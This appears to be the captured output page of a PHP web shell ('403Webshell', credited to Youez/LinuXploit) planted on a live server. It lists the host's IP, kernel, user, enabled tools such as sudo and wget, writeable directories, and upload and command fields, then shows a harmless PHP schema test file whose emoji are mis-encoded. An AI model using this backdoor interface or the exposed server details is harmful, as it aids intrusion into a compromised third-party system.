403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/tests/test_schema.php
<?php

require_once __DIR__ . '/vendor/autoload.php';
require_once __DIR__ . '/app/bootstrap.php';

use App\Models\User;
use App\Models\Company;
use App\Models\Role;
use App\Models\Module;

try {
    echo "๐Ÿงช Testing Schema Compatibility\n";
    echo "===============================\n\n";

    // Test Company model
    echo "Testing Company model...\n";
    $company = new Company();
    echo "โœ… Company model instantiated successfully\n";
    echo "   Primary Key: " . $company->getKeyName() . "\n";
    echo "   Table: " . $company->getTable() . "\n\n";

    // Test User model
    echo "Testing User model...\n";
    $user = new User();
    echo "โœ… User model instantiated successfully\n";
    echo "   Primary Key: " . $user->getKeyName() . "\n";
    echo "   Table: " . $user->getTable() . "\n\n";

    // Test Role model
    echo "Testing Role model...\n";
    $role = new Role();
    echo "โœ… Role model instantiated successfully\n";
    echo "   Primary Key: " . $role->getKeyName() . "\n";
    echo "   Table: " . $role->getTable() . "\n\n";

    // Test Module model
    echo "Testing Module model...\n";
    $module = new Module();
    echo "โœ… Module model instantiated successfully\n";
    echo "   Primary Key: " . $module->getKeyName() . "\n";
    echo "   Table: " . $module->getTable() . "\n\n";

    // Test relationships
    echo "Testing relationships...\n";
    $userCompanyRelation = $user->company();
    echo "โœ… User->Company relationship defined\n";
    
    $companyUsersRelation = $company->users();
    echo "โœ… Company->Users relationship defined\n";
    
    $userRolesRelation = $user->roles();
    echo "โœ… User->Roles relationship defined\n\n";

    echo "๐ŸŽ‰ All tests passed! Schema is compatible with your models.\n";

} catch (Exception $e) {
    echo "โŒ Error: " . $e->getMessage() . "\n";
    echo "   File: " . $e->getFile() . "\n";
    echo "   Line: " . $e->getLine() . "\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit